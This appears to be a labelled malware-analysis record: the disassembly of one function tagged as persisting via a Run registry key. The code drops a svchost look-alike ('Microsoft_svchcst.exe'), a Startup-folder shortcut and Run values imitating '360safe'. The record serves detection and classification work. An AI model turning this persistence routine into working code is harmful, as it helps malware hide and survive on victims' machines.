Function at 0x403a78
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x4dba21
push dword [0x50a7e8]
call fcn.004010fa
add esp, 8
cmp eax, 0
je 0x403abd
push 0x4dba26
push dword [0x50a7e8]
call fcn.004010fa
add esp, 8
cmp eax, 0
je 0x403abd
xor eax, eax
jmp 0x403ac2
mov eax, 1
test eax, eax
je 0x4041e3
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000002
push 0
push 0
push 0
push 0
push 0
push 0x80000004
push 0
push str.Documents_and_Settings
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x403b21
mov eax, 0x4db55f
push eax
push 4
mov ebx, 0x438180
call fcn.004374c0
add esp, 0x34
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403b47
push ebx
call fcn.004374c6
add esp, 4
cmp dword [ebp - 8], 0xffffffff
je 0x403dc3
push 0x80000004
push 0
push str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupwins.lnk
push 1
mov ebx, 0x439a20
call fcn.004374c0
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403dbe
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403bca
push ebx
call fcn.004374c6
add esp, 4
mov ebx, 9
call fcn.004010f2
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x403be7
mov eax, 0x4db55f
push eax
push 0x80000004
push 0
push str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupwins.lnk
push 5
mov eax, 6
mov ebx, 0x4a0100
call fcn.004374cc
add esp, 0x40
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x403c1e
push ebx
call fcn.004374c6
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x403dbe
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 4], eax
push str.win.ink
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403c76
push ebx
call fcn.004374c6
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x403c89
mov eax, 0x4db55f
push eax
push 1
mov ebx, 0x439a20
call fcn.004374c0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x403caf
push ebx
call fcn.004374c6
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x403dbe
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 4], eax
push str.win.ink
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403d07
push ebx
call fcn.004374c6
add esp, 4
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 0xc], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x403d55
push ebx
call fcn.004374c6
add esp, 4
mov ebx, 9
call fcn.004010f2
push 0x80000004
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x403d72
mov eax, 0x4db55f
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x403d86
mov eax, 0x4db55f
push eax
push 5
mov eax, 6
mov ebx, 0x4a0100
call fcn.004374cc
add esp, 0x40
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x403dae
push ebx
call fcn.004374c6
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x403dbe
push ebx
call fcn.004374c6
add esp, 4
jmp 0x404030
push 0x80000004
push 0
push str.C:Documents_and_SettingsAll_Users_
push 1
mov ebx, 0x439a20
call fcn.004374c0
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x404030
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403e3c
push ebx
call fcn.004374c6
add esp, 4
mov ebx, 9
call fcn.004010f2
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x403e59
mov eax, 0x4db55f
push eax
push 0x80000004
push 0
push str.C:Documents_and_SettingsAll_Users_
push 5
mov eax, 6
mov ebx, 0x4a0100
call fcn.004374cc
add esp, 0x40
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x403e90
push ebx
call fcn.004374c6
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x404030
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 4], eax
push str.win.ink
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403ee8
push ebx
call fcn.004374c6
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x403efb
mov eax, 0x4db55f
push eax
push 1
mov ebx, 0x439a20
call fcn.004374c0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x403f21
push ebx
call fcn.004374c6
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x404030
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4dbabd
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403f79
push ebx
call fcn.004374c6
add esp, 4
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 0xc], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x403fc7
push ebx
call fcn.004374c6
add esp, 4
mov ebx, 9
call fcn.004010f2
push 0x80000004
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x403fe4
mov eax, 0x4db55f
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x403ff8
mov eax, 0x4db55f
push eax
push 5
mov eax, 6
mov ebx, 0x4a0100
call fcn.004374cc
add esp, 0x40
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x404020
push ebx
call fcn.004374c6
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x404030
push ebx
call fcn.004374c6
add esp, 4
push 0x80000004
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360safo
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x43aca0
call fcn.004374c0
add esp, 0x1c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4041e3
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4040b5
push ebx
call fcn.004374c6
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4040c8
mov eax, 0x4db55f
push eax
push 0x80000004
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360safo
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x43ac80
call fcn.004374c0
add esp, 0x28
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x404106
push ebx
call fcn.004374c6
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x4041e3
push 0x80000004
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360safo
push 0x80000301
push 0
push 3
push 2
mov ebx, 0x43aca0
call fcn.004374c0
add esp, 0x1c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4041e3
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x4a0390
call fcn.004374cc
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x404195
push ebx
call fcn.004374c6
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4041a8
mov eax, 0x4db55f
push eax
push 0x80000004
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360sofe
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x43ac80
call fcn.004374c0
add esp, 0x28
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4041e3
push ebx
call fcn.004374c6
add esp, 4
mov esp, ebp
pop ebp
ret